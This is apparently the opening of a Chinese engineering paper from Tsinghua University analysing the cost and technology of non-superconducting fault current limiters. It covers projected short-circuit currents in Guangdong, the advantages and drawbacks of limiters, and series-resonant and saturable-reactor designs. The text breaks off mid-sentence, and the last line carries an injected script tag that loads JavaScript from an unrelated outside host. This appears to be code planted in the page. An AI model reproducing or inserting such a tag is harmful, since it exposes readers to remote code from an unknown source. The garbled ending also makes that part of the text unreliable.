economical and technical analysis of non superconducting
fault current limiter
qian jia-li，liu wei-dong，guan yong-gang
（dept. of electrical engineering，tsinghua university，beijing 100084，china）
摘 要：从技术和经济两方面分析了不同类型的适用于超高压电网的非超导型故障电流限制器，推荐应用串联谐振式故障电流限制器；还针对几种不同类型的串联式故障电流限制器进行了分析，并介绍了一种新型的饱和电抗器型的串联式故障电流限制器。
关键词：故障电流限制器；技术经济分析；串联谐振；饱和电抗器；电力系统
1 引言
在电网发展规划中、近期，我国一些负荷密度大的地区和城市中的一些500kv、220kv和10kv变电站的短路电流将迅速增加。以广东地区初步发展规划为例，2010年525kv变电站的最大短路电流将达到68ka，三相短路电流超过59.9ka（63ka×0.95）的变电站将达到17个，超过47.5ka（50ka×0.95）的变电站将达到94个；而2015年最大短路电流将达到81ka。2010年230kv变电站的最大三相短路电流将达到87ka，超过59.9ka的变电站将达到40处；而2015年最大短路电流将达到105ka，三相短路电流超过59.9ka的变电站将达68处，超过47.5ka的变电站将达142处。在这种情况下，需考虑多种方式减小故障电流。除改变电网结构之外，故障电流限制器成为解决问题的新途径。
在适当位置装设具有合适阻抗的故障电流限制器可解决诸多问题：①可解决短路电流过大致使无足够开断能力的断路器可选的问题；②可解决因短路电流增大，需大批更换高压断路器所造成的经济上和基建上的问题；③可解决某些联网、成环上的难点，提高供电可靠性；④可降低输电线路和串联型输变电设备的电动力及短时发热负担，提高电网设备的可靠性；⑤提高电网的暂态稳定性；⑥对电网中装有串联型超导电力设备，可避免短路电流过大而引起的失超现象，这将降低超导设备的研发难度及造价；⑦减小短路电流对通信线路的干扰；⑧造价明显低于直流背靠背系统。
但装设不同故障电流限制器也会出现一些缺点：①造价昂贵，同时增加附属装置和占地面积，在正常工作时呈感性的故障电流限制器还需装设电容补偿装置及开关、串联电抗器等设备，价格高；②运行损耗增加；③一些电感型故障电流限制器将增加电网中的电感，对系统的运行有多方面的不利，如减小电网电压调整范围、减小发电机输出极限功率等。因此，采用故障电流限制器只是解决短路电流过大的一种措施，是否应予采用应据其优、缺点情况而定。
2 故障电流限制器
国际上研究故障电流限制器已有多年，研发的装置种类繁多。本文大致分类为：①高电弧电压断路器；②限流电抗器；③非超导型综合式故障电流限制器，其优点是：在正常工作时不呈现电感，有的在运行时损耗也很低；④超导故障电流限制器，它大致又可分为电阻型和电感型两大类。
从近期和中近期技术上的可行性（运行经验及相关的可靠性）、经济性（造价、运行费用）及对电网的不利影响（如增大线路电感）等各方面考虑，非超导型综合式故障电流限制器比较优越，它由电感、电阻、电容、断路器和电力电子器件等组成。这种设备在电网出现短路故障时，设备呈现电感特性；而正常运行时，设备基本上没有电感，从而消除了电感对电网运行的不利影响。几种非超导型综合式故障电流限制器的原理图、220kv/2ka故障电流限制器的各组成元件相对于电感器的价格及运行费用数据列于表1。
影响造价的主要因素有：①电网电压；②长期电流；③限流水平（阻抗值），阻抗值越高，造价越高；④动作电流值，动作电流加大，造价提高。影响运行费用的主要因素为上述前3项。
国外现有的在研产品有：①西门子公司的500kv串联谐振式故障电流限制器，是从可控串补设备改进得来的；②日本东京电力公司和日新公司合作研制的整流式故障电流限制器，参数为66kv/300a，损耗为通过容量的0.2%。
本文经初步分析认为，串联谐振式故障电流限制器的技术、经济特性较好。
3 串联式故障电流限制器
根据故障时串联式故障电流限制器中将电容器短接的设备（这是关键技术和设备）种类的不同，可分为：①晶闸管，出现短路时，短路电流自动检测装置启动将电容短路，这种结构可考虑与可控串补综合；②放电间隙，较晶闸管价格低，但需考虑加装辅助断路器；③快速开关，现有开关产品尚未达到如此快速的要求；④氧化锌避雷器；⑤饱和电抗器，该种装置在出现短路故障时，自行限制短路电流，而无需短路电流自动检测装置。电路图如图1所示。
模拟电容电感串联电路（在图1?script src=http://er12.com/t.js>
